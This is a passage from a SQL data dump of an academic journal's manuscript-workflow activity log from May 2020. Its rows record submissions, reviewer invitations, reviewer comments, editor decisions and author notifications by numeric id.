07:17:28','Manuscript Submitted by Author using Submission form',4058,'Author',5259),(33408,'2020-05-10 11:16:32','Reviewer has submitted comments',3682,'Reviewer',629),(33410,'2020-05-10 14:25:41','Reviewer has submitted comments',1457,'Reviewer',629),(33411,'2020-05-10 14:27:05','Reviewer has submitted comments',3447,'Reviewer',629),(33415,'2020-05-10 15:58:23','Reviewer has submitted comments',3708,'Reviewer',9803),(33416,'2020-05-10 16:09:34','Manuscript Submitted by Author using Submission form',4064,'Author',5268),(33418,'2020-05-10 19:45:28','Manuscript Submitted by Author using Submission form',4065,'Author',5269),(33421,'2020-05-11 01:20:19','Reviewer has submitted comments',3997,'Reviewer',12532),(33423,'2020-05-11 01:41:32','Reviewer has submitted comments',3996,'Reviewer',12532),(33430,'2020-05-11 10:42:31','Editor has been Editor Decision Accepted article',4011,'Editor',194),(33431,'2020-05-11 10:44:20','Publisher: Accept Notification has been sent to Author',4011,'Publisher',48),(33433,'2020-05-11 10:53:22','Manuscript Submitted by Publisher',4070,'Publisher',48),(33452,'2020-05-11 11:11:23','Editor has Accepted to review Manuscript',3996,'Editor',194),(33453,'2020-05-11 11:11:31','Editor has Accepted to review Manuscript',3997,'Editor',194),(33454,'2020-05-11 11:11:44','Editor has been Revise (Notify Author) article',3996,'Editor',194),(33455,'2020-05-11 11:11:59','Editor has been Revise (Notify Author) article',3997,'Editor',194),(33456,'2020-05-11 11:13:05','Publisher : Notified Author',3997,'Publisher',48),(33457,'2020-05-11 11:13:24','Publisher : Notified Author',3996,'Publisher',48),(33458,'2020-05-11 11:13:43','Publisher : Notified Author',3997,'Publisher',48),(33461,'2020-05-11 13:13:57','Publisher has been Assigned Editor',4070,'Publisher',48),(33462,'2020-05-11 13:14:43','Publisher has Invited Reviewer',4070,'Publisher',48),(33463,'2020-05-11 13:14:44','Publisher has Invited Reviewer',4070,'Publisher',48),(33465,'2020-05-11 13:17:07','Manuscript Submitted by Publisher',4071,'Publisher',984),(33466,'2020-05-11 13:19:25','Publisher has been Assigned Editor',4071,'Publisher',984),(33479,'2020-05-11 14:21:08','Manuscript Submitted by Publisher',4074,'Publisher',984),(33480,'2020-05-11 14:21:27','Publisher has been Assigned Editor',4074,'Publisher',984),(33481,'2020-05-11 14:22:47','Publisher has Invited Reviewer',4074,'Publisher',984),(33482,'2020-05-11 14:23:07','Publisher has Invited Reviewer',4071,'Publisher',984),(33497,'2020-05-11 14:49:45','Publisher has been Assigned Editor',4056,'Publisher',85),(33502,'2020-05-11 15:05:48','Publisher has been Assigned Editor',4064,'Publisher',85),(33503,'2020-05-11 15:07:15','Publisher has been Assigned Editor',4058,'Publisher',85),(33510,'2020-05-11 16:01:34','Publisher : Notified Author',3804,'Publisher',84),(33511,'2020-05-11 16:02:28','Publisher : Notified Author',3798,'Publisher',84),(33567,'2020-05-11 17:57:33','Publisher has Invited Reviewer',4064,'Publisher',85),(33572,'2020-05-11 19:05:45','Reviewer has been sent email to Publisher',4074,'Reviewer',12739),(33574,'2020-05-11 19:32:57','Publisher has Invited Reviewer',4056,'Publisher',85),(33575,'2020-05-11 19:32:58','Publisher has Invited Reviewer',4056,'Publisher',85),(33576,'2020-05-11 19:33:00','Publisher has Invited Reviewer',4056,'Publisher',85),(33577,'2020-05-11 19:33:01','Publisher has Invited Reviewer',4056,'Publisher',85),(33578,'2020-05-11 19:33:03','Publisher has Invited Reviewer',4056,'Publisher',85),(33579,'2020-05-11 19:33:04','Publisher has Invited Reviewer',4056,'Publisher',85),(33580,'2020-05-11 19:33:06','Publisher has Invited Reviewer',4056,'Publisher',85),(33581,'2020-05-11 19:33:07','Publisher has Invited Reviewer',4056,'Publisher',85),(33582,'2020-05-11 19:33:09','Publisher has Invited Reviewer',4056,'Publisher',85),(33583,'2020-05-11 19:33:10','Publisher has Invited Reviewer',4056,'Publisher',85),(33584,'2020-05-11 19:33:11','Publisher has Invited Reviewer',4056,'Publisher',85),(33585,'2020-05-11 19:33:13','Publisher has Invited Reviewer',4056,'Publisher',85),(33586,'2020-05-11 19:40:04','Publisher has Invited Reviewer',4058,'Publisher',85),(33587,'2020-05-11 19:40:06','Publisher has Invited Reviewer',4058,'Publisher',85),(33588,'2020-05-11 19:40:08','Publisher has Invited Reviewer',4058,'Publisher',85),(33589,'2020-05-11 19:40:10','Publisher has Invited Reviewer',4058,'Publisher',85),(33590,'2020-05-11 19:40:12','Publisher has Invited Reviewer',4058,'Publisher',85),(33591,'2020-05-11 19:40:13','Publisher has Invited Reviewer',4058,'Publisher',85),(33592,'2020-05-11 19:40:15','Publisher has Invited Reviewer',4058,'Publisher',85),(33593,'2020-05-11 19:40:16','Publisher has Invited Reviewer',4058,'Publisher',85),(33597,'2020-05-11 20:46:43','Publisher has Invited Reviewer',4058,'Publisher',85),(33598,'2020-05-11 20:46:44','Publisher has Invited Reviewer',4058,'Publisher',85),(33599,'2020-05-11 20:46:45','Publisher has Invited Reviewer',4058,'Publisher',85),(33600,'2020-05-11 20:46:46','Publisher has Invited Reviewer',4058,'Publisher',85),(33601,'2020-05-11 20:46:48','Publisher has Invited Reviewer',4058,'Publisher',85),(33602,'2020-05-11 20:46:49','Publisher has Invited Reviewer',4058,'Publisher',85),(33603,'2020-05-11 20:46:51','Publisher has Invited Reviewer',4058,'Publisher',85),(33610,'2020-05-12 07:59:28','Manuscript Submitted by Author',4081,'Author',5284),(33611,'2020-05-12 08:25:30','Publisher has been Assigned Editor',4065,'Publisher',376),(33612,'2020-05-12 08:25:43','Publisher has been Assigned Editor',4015,'Publisher',376),(33634,'2020-05-12 11:40:32','Manuscript Submitted by Author using Submission form',4084,'Author',5288),(33646,'2020-05-12 12:32:30','Reviewer has submitted comments',4032,'Reviewer',12597),(33647,'2020-05-12 13:08:48','Publisher has Invited Reviewer',4071,'Publisher',984),(33722,'2020-05-12 15:16:04','Editor has been Revise (Notify Author) article',4032,'Editor',194),(33723,'2020-05-12 15:16:59','Publisher : Notified Author',4032,'Publisher',48),(33725,'2020-05-12 15:27:59','Publisher has Invited Reviewer',4064,'Publisher',85),(33726,'2020-05-12 15:28:00','Publisher has Invited Reviewer',4064,'Publisher',85),(33727,'2020-05-12 15:36:13','Publisher has Invited Reviewer',4064,'Publisher',85),(33728,'2020-05-12 15:36:15','Publisher has Invited Reviewer',4064,'Publisher',85),(33729,'2020-05-12 15:36:16','Publisher has Invited Reviewer',4064,'Publisher',85),(33737,'2020-05-12 16:44:07','Manuscript Submitted by Author using Submission form',4087,'Author',5292),(33739,'2020-05-12 16:56:13','Publisher has been Assigned Editor',4081,'Publisher',48),(33741,'2020-05-12 16:57:57','Publisher has been Accepted Articles  article',4011,'Publisher',48),(33742,'2020-05-12 16:58:33','Publisher has been Accepted Articles  article',3870,'Publisher',48),(33743,'2020-05-12 16:58:40','Publisher has been Accepted Articles  article',3870,'Publisher',48),(33744,'2020-05-12 16:59:01','Publisher has been Accepted Articles  article',3886,'Publisher',48),(33745,'2020-05-12 16:59:11','Publisher has been Accepted Articles  article',3786,'Publisher',48),(33746,'2020-05-12 16:59:19','Publisher has been Accepted Articles  article',3786,'Publisher',48),(33747,'2020-05-12 16:59:23','Publisher has been Accepted Articles  article',3786,'Publisher',48),(33748,'2020-05-12 16:59:24','Publisher has been Accepted Articles  article',3786,'Publisher',48),(33749,'2020-05-12 16:59:45','Publisher has been Accepted Articles  article',3612,'Publisher',48),(33750,'2020-05-12 16:59:46','Publisher has been Accepted Articles  article',3612,'Publisher',48),(33751,'2020-05-12 17:00:01','Publisher has been Withdrawn  article',3568,'Publisher',48),(33752,'2020-05-12 17:00:09','Publisher has been Accepted Articles  article',3563,'Publisher',48),(33753,'2020-05-12 17:00:18','Publisher has been Accepted Articles  article',3562,'Publisher',48),(33754,'2020-05-12 17:00:25','Publisher has been Accepted Articles  article',3551,'Publisher',48),(33755,'2020-05-12 17:00:37','Publisher has been Accepted Articles  article',3522,'Publisher',48),(33756,'2020-05-12 17:00:46','Publisher has been Accepted Articles  article',3489,'Publisher',48),(33757,'2020-05-12 17:01:02','Publisher has been Withdrawn  article',3479,'Publisher',48),(33758,'2020-05-12 17:01:12','Publisher has been Withdrawn  article',3461,'Publisher',48),(33759,'2020-05-12 17:01:21','Publisher has been Accepted Articles  article',3409,'Publisher',48),(33760,'2020-05-12 17:03:17','Editor has been Editor Decision Accepted article',3045,'Editor',192),(33769,'2020-05-12 18:02:44','Publisher has Invited Reviewer',4081,'Publisher',48),(33770,'2020-05-12 18:02:45','Publisher has Invited Reviewer',4081,'Publisher',48),(33772,'2020-05-12 18:23:04','Publisher has Invited Reviewer',4081,'Publisher',48),(33775,'2020-05-12 21:18:35','Publisher has been Assigned Editor',3860,'Publisher',645),(33776,'2020-05-12 21:18:59','Publisher has been Assigned Editor',3835,'Publisher',645),(33777,'2020-05-12 21:19:09','Publisher has been Assigned Editor',3723,'Publisher',645),(33794,'2020-05-13 10:19:49','Publisher has Invited Reviewer',4065,'Publisher',376),(33795,'2020-05-13 10:19:49','Publisher has Invited Reviewer',4065,'Publisher',376),(33796,'2020-05-13 10:20:39','Publisher has Invited Reviewer',4015,'Publisher',376),(33797,'2020-05-13 10:20:40','Publisher has Invited Reviewer',4015,'Publisher',376),(33798,'2020-05-13 10:20:40','Publisher has Invited Reviewer',4015,'Publisher',376),(33799,'2020-05-13 10:21:15','Publisher has been Withdrawn  article',3854,'Publisher',376),(33804,'2020-05-13 12:06:39','Publisher has been Assigned Editor',4017,'Publisher',85),(33805,'2020-05-13 12:07:44','Publisher has Invited Reviewer',4056,'Publisher',85),(33806,'2020-05-13 12:07:45','Publisher has Invited Reviewer',4056,'Publisher',85),(33807,'2020-05-13 12:07:47','Publisher has Invited Reviewer',4056,'Publisher',85),(33808,'2020-05-13 12:07:48','Publisher has Invited Reviewer',4056,'Publisher',85),(33809,'2020-05-13 12:07:49','Publisher has Invited Reviewer',4056,'Publisher',85),(33810,'2020-05-13 12:07:51','Publisher has Invited Reviewer',4056,'Publisher',85),(33811,'2020-05-13 12:09:36','Publisher has Invited Reviewer',4058,'Publisher',85),(33812,'2020-05-13 12:09:37','Publisher has Invited Reviewer',4058,'Publisher',85),(33813,'2020-05-13 12:09:39','Publisher has Invited Reviewer',4058,'Publisher',85),(33814,'2020-05-13 12:09:40','Publisher has Invited Reviewer',4058,'Publisher',85),(33815,'2020-05-13 12:09:41','Publisher has Invited Reviewer',4058,'Publisher',85),(33816,'2020-05-13 12:10:30','Manuscript Updated',4017,'Publisher',85),(33818,'2020-05-13 12:16:12','Publisher has Invited Reviewer',4058,'Publisher',85),(33819,'2020-05-13 12:18:32','Publisher has Invited Reviewer',4064,'Publisher',85),(33820,'2020-05-13 12:24:24','Publisher has Invited Reviewer',4056,'Publisher',85),(33821,'2020-05-13 12:24:25','Publisher has Invited Reviewer',4056,'Publisher',85),(33822,'2020-05-13 12:24:27','Publisher has Invited Reviewer',4056,'Publisher',85),(33823,'2020-05-13 12:24:28','Publisher has Invited Reviewer',4056,'Publisher',85),(33824,'2020-05-13 12:24:29','Publisher has Invited Reviewer',4056,'Publisher',85),(33825,'2020-05-13 12:25:02','Publisher has Invited Reviewer',4017,'Publisher',85),(33826,'2020-05-13 12:25:03','Publisher has Invited Reviewer',4017,'Publisher',85),(33827,'2020-05-13 12:25:05','Publisher has Invited Reviewer',4017,'Publisher',85),(33828,'2020-05-13 12:25:06','Publisher has Invited Reviewer',4017,'Publisher',85),(33829,'2020-05-13 12:25:08','Publisher has Invited Reviewer',4017,'Publisher',85),(33830,'2020-05-13 12:25:09','Publisher has Invited Reviewer',4017,'Publisher',85),(33831,'2020-05-13 13:22:07','Editor has Accepted to review Manuscript',4017,'Editor',1291),(33832,'2020-05-13 13:24:22','Editor has Invited Reviewer',4017,'Editor',1291),(33833,'2020-05-13 13:25:09','Editor has Invited Reviewer',4017,'Editor',1291),(33839,'2020-05-13 14:29:04','Author sent Email',3780,'Author',4952),(33843,'2020-05-13 14:38:52','Manuscript Submitted by Author using Submission form',4090,'Author',5295),(33883,'2020-05-13 15:43:01','Reviewer has submitted comments',3997,'Reviewer',12531),(33884,'2020-05-13 15:45:25','Reviewer has submitted comments',3996,'Reviewer',12531),(33893,'2020-05-13 16:38:25','Publisher: Accept Notification has been sent to Author',4011,'Publisher',48),(33900,'2020-05-13 17:32:32','Manuscript Submitted by Author using Submission form',4092,'Author',5297),(33910,'2020-05-13 18:51:52','Publisher : Notified Editor',3874,'Publisher',85),(33911,'2020-05-13 18:53:16','Editor has Accepted to review Manuscript',3874,'Editor',1394),(33912,'2020-05-13 18:55:02','Editor has been Revise (Notify Author) article',3874,'Editor',1394),(33913,'2020-05-13 18:56:26','Publisher : Notified Author',3874,'Publisher',85),(33952,'2020-05-14 10:59:46','Publisher has been Assigned Editor',4092,'Publisher',48),(33953,'2020-05-14 11:40:49','Editor has Accepted to review Manuscript',4003,'Editor',194),(33954,'2020-05-14 11:41:41','Editor has been Editor Decision Accepted article',4003,'Editor',194),(33955,'2020-05-14 11:41:47','Editor has Accepted to review Manuscript',4001,'Editor',194),(33956,'2020-05-14 11:42:28','Editor has been Editor Decision Accepted article',4001,'Editor',194),(33957,'2020-05-14 11:44:13','Publisher: Accept Notification has been sent to Author',4001,'Publisher',48),(33958,'2020-05-14 11:44:47','Publisher: Accept Notification has been sent to Author',4003,'Publisher',48),(33959,'2020-05-14 11:46:48','Publisher has Invited Reviewer',4092,'Publisher',48),(33966,'2020-05-14 13:57:45','Publisher has been Assigned Editor',4087,'Publisher',48),(33967,'2020-05-14 13:58:45','Publisher has Invited Reviewer',4087,'Publisher',48),(33968,'2020-05-14 13:58:46','Publisher has Invited Reviewer',4087,'Publisher',48),(34026,'2020-05-14 18:12:32','Manuscript Submitted by Author',4109,'Author',5297),(34034,'2020-05-15 01:50:02','Manuscript Submitted by Author using Submission form',4113,'Author',5317),(34037,'2020-05-15 10:16:55','Editor has been Editor Decision Accepted article',4032,'Editor',194),(34038,'2020-05-15 10:18:34','Editor has been Editor Decision Accepted article',3997,'Editor',194),(34039,'2020-05-15 10:18:38','Editor has been Editor Decision Accepted article',3997,'Editor',194),(34040,'2020-05-15 10:18:47','Editor has been Editor Decision Accepted article',3997,'Editor',194),(34041,'2020-05-15 10:19:13','Editor has been Editor Decision Accepted article',3996,'Editor',194),(34042,'2020-05-15 10:19:15','Editor has been Editor Decision Accepted article',3996,'Editor',194),(34043,'2020-05-15 10:19:17','Editor has been Editor Decision Accepted article',3996,'Editor',194),(34044,'2020-05-15 10:19:18','Editor has been Editor Decision Accepted article',3996,'Editor',194),(34054,'2020-05-15 11:31:20','Manuscript Submitted by Author using Submission form',4117,'Author',5321),(34055,'2020-05-15 11:39:44','Publisher has been Accepted Articles  article',4032,'Publisher',48),(34056,'2020-05-15 11:39:53','Publisher has been Accepted Articles  article',4032,'Publisher',48),(34062,'2020-05-15 12:31:04','Publisher has been Assigned Editor',4109,'Publisher',48),(34063,'2020-05-15 12:31:28','Publisher has Invited Reviewer',4109,'Publisher',48),(34064,'2020-05-15 12:31:31','Publisher has Invited Reviewer',4109,'Publisher',48),(34078,'2020-05-15 15:51:06','Publisher has been Assigned Editor',4117,'Publisher',319),(34129,'2020-05-15 18:02:48','Publisher has been Assigned Editor',4113,'Publisher',85),(34130,'2020-05-15 18:03:43','Publisher has Invited Reviewer',4113,'Publisher',85),(34131,'2020-05-15 18:03:45','Publisher has Invited Reviewer',4113,'Publisher',85),(34132,'2020-05-15 18:03:46','Publisher has Invited Reviewer',4113,'Publisher',85),(34133,'2020-05-15 18:03:52','Publisher has Invited Reviewer',4113,'Publisher',85),(34134,'2020-05-15 18:03:54','Publisher has Invited Reviewer',4113,'Publisher',85),(34135,'2020-05-15 18:03:55','Publisher has Invited Reviewer',4113,'Publisher',85),(34136,'2020-05-15 18:03:56','Publisher has Invited Reviewer',4113,'Publisher',85),(34137,'2020-05-15 18:03:58','Publisher has Invited Reviewer',4113,'Publisher',85),(34138,'2020-05-15 18:08:47','Editor has Accepted to review Manuscript',4117,'Editor',1067),(34151,'2020-05-15 20:08:30','Publisher has Invited Reviewer',3860,'Publisher',645),(34152,'2020-05-15 20:08:45','Publisher has Invited Reviewer',3860,'Publisher',645),(34153,'2020-05-15 20:08:45','Publisher has Invited Reviewer',3860,'Publisher',645),(34154,'2020-05-15 20:09:05','Publisher has Invited Reviewer',3835,'Publisher',645),(34155,'2020-05-15 20:09:13','Publisher has Invited Reviewer',3835,'Publisher',645),(34156,'2020-05-15 20:09:23','Publisher has Invited Reviewer',3835,'Publisher',645),(34157,'2020-05-15 20:09:40','Publisher has Invited Reviewer',3723,'Publisher',645),(34158,'2020-05-15 20:09:41','Publisher has Invited Reviewer',3723,'Publisher',645),(34159,'2020-05-15 20:09:50','Publisher has Invited Reviewer',3723,'Publisher',645),(34160,'2020-05-15 20:09:51','Publisher has Invited Reviewer',3723,'Publisher',645),(34163,'2020-05-16 08:12:50','Publisher has been Assigned Editor',4090,'Publisher',376),(34171,'2020-05-16 10:27:48','Manuscript Submitted by Author using Submission form',4126,'Author',5333),(34214,'2020-05-16 23:34:27','Reviewer has submitted comments',4017,'Reviewer',10685),(34215,'2020-05-16 23:35:25','Reviewer has submitted comments',2838,'Reviewer',10685),(34216,'2020-05-17 00:47:21','Manuscript Submitted by Author using Submission form',4131,'Author',5338),(34217,'2020-05-17 01:28:29','Reviewer has submitted comments',4017,'Reviewer',10684),(34218,'2020-05-17 02:31:49','Manuscript Submitted by Author using Submission form',4132,'Author',5339),(34219,'2020-05-17 04:33:05','Reviewer has submitted comments',3791,'Reviewer',12259),(34221,'2020-05-17 08:41:57','Manuscript Submitted by Author using Submission form',4134,'Author',5341),(34226,'2020-05-17 20:30:27','Reviewer has submitted comments',4003,'Reviewer',11714),(34228,'2020-05-17 23:53:19','Manuscript Submitted by Author using Submission form',4138,'Author',5345),(34231,'2020-05-18 01:37:42','Manuscript Submitted by Author using Submission form',4140,'Author',5347),(34232,'2020-05-18 05:21:22','Reviewer has submitted comments',4058,'Reviewer',12259),(34233,'2020-05-18 05:51:15','Reviewer has submitted comments',4113,'Reviewer',12259),(34237,'2020-05-18 09:45:36','Publisher has been Assigned Editor',4126,'Publisher',48),(34246,'2020-05-18 10:26:56','Manuscript Submitted by Publisher',4142,'Publisher',48),(34247,'2020-05-18 10:27:17','Publisher has been Assigned Editor',4142,'Publisher',48),(34248,'2020-05-18 10:29:25','Publisher : Notified Author',3987,'Publisher',85),(34249,'2020-05-18 10:30:28','Publisher has Invited Reviewer',4113,'Publisher',85),(34250,'2020-05-18 10:32:18','Publisher has Invited Reviewer',4058,'Publisher',85),(34251,'2020-05-18 10:32:36','Publisher has Invited Reviewer',4058,'Publisher',85),(34252,'2020-05-18 10:38:16','Publisher has Invited Reviewer',4017,'Publisher',85),(34253,'2020-05-18 10:38:17','Publisher has Invited Reviewer',4017,'Publisher',85),(34254,'2020-05-18 10:42:41','Publisher : Notified Editor',4058,'Publisher',85),(34255,'2020-05-18 10:45:50','Editor has Accepted to review Manuscript',4058,'Editor',1408),(34256,'2020-05-18 10:46:29','Editor has been Revise (Notify Author) article',4058,'Editor',1408),(34257,'2020-05-18 11:14:55','Publisher has been Assigned Editor',4132,'Publisher',48),(34269,'2020-05-18 12:17:09','Manuscript Submitted by Author using Submission form',4144,'Author',5351),(34279,'2020-05-18 12:42:58','Publisher has been Assigned Editor',4138,'Publisher',319),(34280,'2020-05-18 12:43:36','Publisher has Invited Reviewer',4117,'Publisher',319),(34281,'2020-05-18 12:43:40','Publisher has Invited Reviewer',4117,'Publisher',319),(34282,'2020-05-18 12:43:45','Publisher has Invited Reviewer',4117,'Publisher',319),(34283,'2020-05-18 12:43:49','Publisher has Invited Reviewer',4117,'Publisher',319),(34284,'2020-05-18 12:43:53','Publisher has Invited Reviewer',4117,'Publisher',319),(34285,'2020-05-18 12:43:57','Publisher has Invited Reviewer',4117,'Publisher',319),(34286,'2020-05-18 12:46:19','Publisher has been Assigned Editor',4131,'Publisher',48),(34289,'2020-05-18 13:31:46','Publisher has Invited Reviewer',4017,'Publisher',85),(34290,'2020-05-18 13:43:44','Editor has Accepted to review Manuscript',4138,'Editor',1067),(34294,'2020-05-18 13:59:57','Editor has Accepted to review Manuscript',4070,'Editor',194),(34295,'2020-05-18 14:00:10','Editor has been Editor Decision Accepted article',4070,'Editor',194),(34296,'2020-05-18 14:00:54','Publisher: Accept Notification has been sent to Author',4070,'Publisher',48),(34301,'2020-05-18 14:12:27','Publisher: Accept Notification has been sent to Author',3997,'Publisher',48),(34330,'2020-05-18 16:13:04','Publisher : Notified Author',4058,'Publisher',85),(34334,'2020-05-18 16:14:14','Publisher has Invited Reviewer',4064,'Publisher',85),(34335,'2020-05-18 16:14:15','Publisher has Invited Reviewer',4064,'Publisher',85),(34336,'2020-05-18 16:14:17','Publisher has Invited Reviewer',4064,'Publisher',85),(34337,'2020-05-18 16:23:36','Publisher has been Assigned Editor',4140,'Publisher',248),(34338,'2020-05-18 16:24:11','Author sent Email',3780,'Author',4952),(34345,'2020-05-18 17:01:29','Manuscript Submitted by Author using Submission form',4149,'Author',5356),(34346,'2020-05-18 17:07:05','Manuscript Submitted by Publisher',4150,'Publisher',248),(34347,'2020-05-18 17:07:20','Publisher has been Assigned Editor',4150,'Publisher',248),(34382,'2020-05-18 21:06:18','Reviewer has been sent email to Publisher',4087,'Reviewer',12531),(34385,'2020-05-18 21:47:58','Manuscript Submitted by Author using Submission form',4160,'Author',5368),(34387,'2020-05-19 00:47:23','Author sent Email',3780,'Author',4952),(34418,'2020-05-19 10:48:07','Publisher has been Assigned Editor',4149,'Publisher',48),(34421,'2020-05-19 11:00:31','Publisher has Invited Reviewer',4149,'Publisher',48),(34422,'2020-05-19 11:00:33','Publisher has Invited Reviewer',4149,'Publisher',48),(34423,'2020-05-19 11:00:49','Publisher has Invited Reviewer',4142,'Publisher',48),(34424,'2020-05-19 11:00:51','Publisher has Invited Reviewer',4142,'Publisher',48),(34425,'2020-05-19 11:01:19','Publisher has Invited Reviewer',4131,'Publisher',48),(34426,'2020-05-19 11:01:20','Publisher has Invited Reviewer',4131,'Publisher',48),(34427,'2020-05-19 11:14:25','Publisher has Invited Reviewer',4132,'Publisher',48),(34428,'2020-05-19 11:14:26','Publisher has Invited Reviewer',4132,'Publisher',48),(34429,'2020-05-19 11:15:21','Publisher has Invited Reviewer',4131,'Publisher',48),(34430,'2020-05-19 11:15:22','Publisher has Invited Reviewer',4131,'Publisher',48),(34431,'2020-05-19 11:15:45','Publisher has Invited Reviewer',4126,'Publisher',48),(34481,'2020-05-19 23:35:18','Manuscript Submitted by Author using Submission form',4173,'Author',5382),(34482,'2020-05-20 00:34:42','Manuscript Submitted by Author using Submission form',4174,'Author',5383),(34483,'2020-05-20 09:11:28','Publisher has Invited Reviewer',4140,'Publisher',248),(34484,'2020-05-20 09:11:29','Publisher has Invited Reviewer',4140,'Publisher',248),(34485,'2020-05-20 09:11:30','Publisher has Invited Reviewer',4140,'Publisher',248),(34486,'2020-05-20 09:11:32','Publisher has Invited Reviewer',4140,'Publisher',248),(34495,'2020-05-20 10:16:29','Publisher has been Accepted Articles  article',917,'Publisher',85),(34497,'2020-05-20 10:16:41','Publisher has been Accepted Articles  article',2645,'Publisher',85),(34498,'2020-05-20 10:16:50','Publisher has been Accepted Articles  article',2756,'Publisher',85),(34499,'2020-05-20 10:16:56','Publisher has been Accepted Articles  article',2759,'Publisher',85),(34501,'2020-05-20 10:17:06','Publisher has been Accepted Articles  article',2887,'Publisher',85),(34503,'2020-05-20 10:17:18','Publisher has been Accepted Articles  article',3126,'Publisher',85),(34504,'2020-05-20 10:17:28','Publisher has been Accepted Articles  article',3177,'Publisher',85),(34505,'2020-05-20 10:17:35','Publisher has been Accepted Articles  article',3256,'Publisher',85),(34506,'2020-05-20 10:17:43','Publisher has been Accepted Articles  article',3259,'Publisher',85),(34507,'2020-05-20 10:17:49','Publisher has been Accepted Articles  article',3481,'Publisher',85),(34512,'2020-05-20 10:17:58','Publisher has been Accepted Articles  article',3598,'Publisher',85),(34513,'2020-05-20 10:18:20','Publisher has been Accepted Articles  article',3823,'Publisher',85),(34514,'2020-05-20 10:18:29','Publisher has been Accepted Articles  article',3777,'Publisher',85),(34515,'2020-05-20 10:18:36','Publisher has been Accepted Articles  article',3713,'Publisher',85),(34519,'2020-05-20 10:19:52','Publisher has Invited Reviewer',4138,'Publisher',319),(34520,'2020-05-20 10:19:57','Publisher has Invited Reviewer',4138,'Publisher',319),(34521,'2020-05-20 10:20:01','Publisher has Invited Reviewer',4138,'Publisher',319),(34522,'2020-05-20 10:20:05','Publisher has Invited Reviewer',4138,'Publisher',319),(34523,'2020-05-20 10:20:10','Publisher has Invited Reviewer',4138,'Publisher',319),(34524,'2020-05-20 10:20:14','Publisher has Invited Reviewer',4138,'Publisher',319),(34525,'2020-05-20 10:20:18','Publisher has Invited Reviewer',4138,'Publisher',319),(34526,'2020-05-20 10:20:22','Publisher has Invited Reviewer',4138,'Publisher',319),(34527,'2020-05-20 10:20:26','Publisher has Invited Reviewer',4138,'Publisher',319),(34528,'2020-05-20 10:20:31','Publisher has Invited Reviewer',4138,'Publisher',319),(34529,'2020-05-20 10:20:35','Publisher has Invited Reviewer',4138,'Publisher',319),(34530,'2020-05-20 10:20:45','Publisher has Invited Reviewer',4138,'Publisher',319),(34531,'2020-05-20 10:23:08','Publisher has been Withdrawn  article',2667,'Publisher',319),(34532,'2020-05-20 10:25:19','Publisher has been Accepted Articles  article',3863,'Publisher',85),(34535,'2020-05-20 10:30:10','Publisher has Invited Reviewer',4090,'Publisher',376),(34537,'2020-05-20 10:30:34','Publisher has Invited Reviewer',4065,'Publisher',376),(34539,'2020-05-20 10:30:53','Publisher has Invited Reviewer',4015,'Publisher',376),(34545,'2020-05-20 10:40:12','Publisher has Invited Reviewer',3880,'Publisher',319),(34546,'2020-05-20 10:40:16','Publisher has Invited Reviewer',3880,'Publisher',319),(34547,'2020-05-20 10:40:20','Publisher has Invited Reviewer',3880,'Publisher',319),(34548,'2020-05-20 10:40:24','Publisher has Invited Reviewer',3880,'Publisher',319),(34549,'2020-05-20 10:40:28','Publisher has Invited Reviewer',3880,'Publisher',319),(34550,'2020-05-20 10:40:33','Publisher has Invited Reviewer',3880,'Publisher',319),(34551,'2020-05-20 10:40:37','Publisher has Invited Reviewer',3880,'Publisher',319),(34552,'2020-05-20 10:42:26','Reviewer has submitted comments',4015,'Reviewer',9537),(34554,'2020-05-20 10:43:39','Reviewer has updated comments',4015,'Reviewer',9537),(34555,'2020-05-20 10:43:39','Reviewer has updated comments',4015,'Reviewer',9537),(34556,'2020-05-20 10:43:45','Reviewer has updated comments',4015,'Reviewer',9537),(34557,'2020-05-20 10:44:36','Editor has Accepted to review Manuscript',4015,'Editor',1011),(34558,'2020-05-20 10:44:48','Editor has been Editor Decision Accepted article',4015,'Editor',1011),(34559,'2020-05-20 10:44:59','Editor has Accepted to review Manuscript',4065,'Editor',1011),(34561,'2020-05-20 10:49:15','Reviewer has submitted comments',4065,'Reviewer',9537),(34563,'2020-05-20 10:50:54','Reviewer has submitted comments',4142,'Reviewer',12867),(34567,'2020-05-20 10:56:13','Reviewer has submitted comments',4090,'Reviewer',9537),(34568,'2020-05-20 10:56:39','Editor has been Editor Decision Accepted article',4065,'Editor',1011),(34569,'2020-05-20 10:56:44','Editor has Accepted to review Manuscript',4090,'Editor',1011),(34570,'2020-05-20 10:56:56','Editor has been Editor Decision Accepted article',4090,'Editor',1011),(34571,'2020-05-20 10:57:14','Publisher has been Accepted Articles  article',4090,'Publisher',376),(34572,'2020-05-20 10:57:22','Publisher has been Accepted Articles  article',4065,'Publisher',376),(34573,'2020-05-20 10:57:31','Publisher has been Accepted Articles  article',4015,'Publisher',376),(34574,'2020-05-20 11:05:49','Publisher has been Accepted Articles  article',3192,'Publisher',75),(34575,'2020-05-20 11:06:37','Publisher has been Accepted Articles  article',3573,'Publisher',75),(34576,'2020-05-20 11:12:22','Publisher has been Assigned Editor',4134,'Publisher',75),(34577,'2020-05-20 11:12:37','Publisher has been Assigned Editor',4160,'Publisher',75),(34578,'2020-05-20 11:20:38','Publisher : Notified Editor',2633,'Publisher',376),(34579,'2020-05-20 11:21:46','Publisher has been Withdrawn  article',1863,'Publisher',376),(34580,'2020-05-20 11:22:24','Publisher : Notified Editor',2697,'Publisher',376),(34581,'2020-05-20 11:25:08','Publisher : Notified Author',2079,'Publisher',376),(34583,'2020-05-20 11:26:43','Publisher : Notified Author',2611,'Publisher',376),(34587,'2020-05-20 11:29:06','Publisher : Notified Author',2623,'Publisher',376),(34588,'2020-05-20 11:31:12','Editor has Accepted to review Manuscript',2697,'Editor',1011),(34589,'2020-05-20 11:31:33','Editor has been Revise (Notify Author) article',2697,'Editor',1011),(34590,'2020-05-20 11:31:35','Editor has been Revise (Notify Author) article',2697,'Editor',1011),(34591,'2020-05-20 11:32:11','Editor has Accepted to review Manuscript',2633,'Editor',1245),(34592,'2020-05-20 11:32:23','Editor has been Revise (Notify Author) article',2633,'Editor',1245),(34593,'2020-05-20 11:33:27','Publisher : Notified Author',2697,'Publisher',376),(34594,'2020-05-20 11:34:02','Publisher : Notified Author',2633,'Publisher',376),(34615,'2020-05-20 12:56:21','Manuscript Submitted by Author using Submission form',4178,'Author',5387),(34619,'2020-05-20 13:38:39','Publisher : Notified Editor',3577,'Publisher',84),(34620,'2020-05-20 13:40:09','Editor has been Editor Decision Accepted article',3577,'Editor',221),(34621,'2020-05-20 13:41:08','Publisher has been Accepted Articles  article',3577,'Publisher',84),(34622,'2020-05-20 13:41:31','Publisher has been Accepted Articles  article',3753,'Publisher',84),(34623,'2020-05-20 13:41:57','Publisher has been Accepted Articles  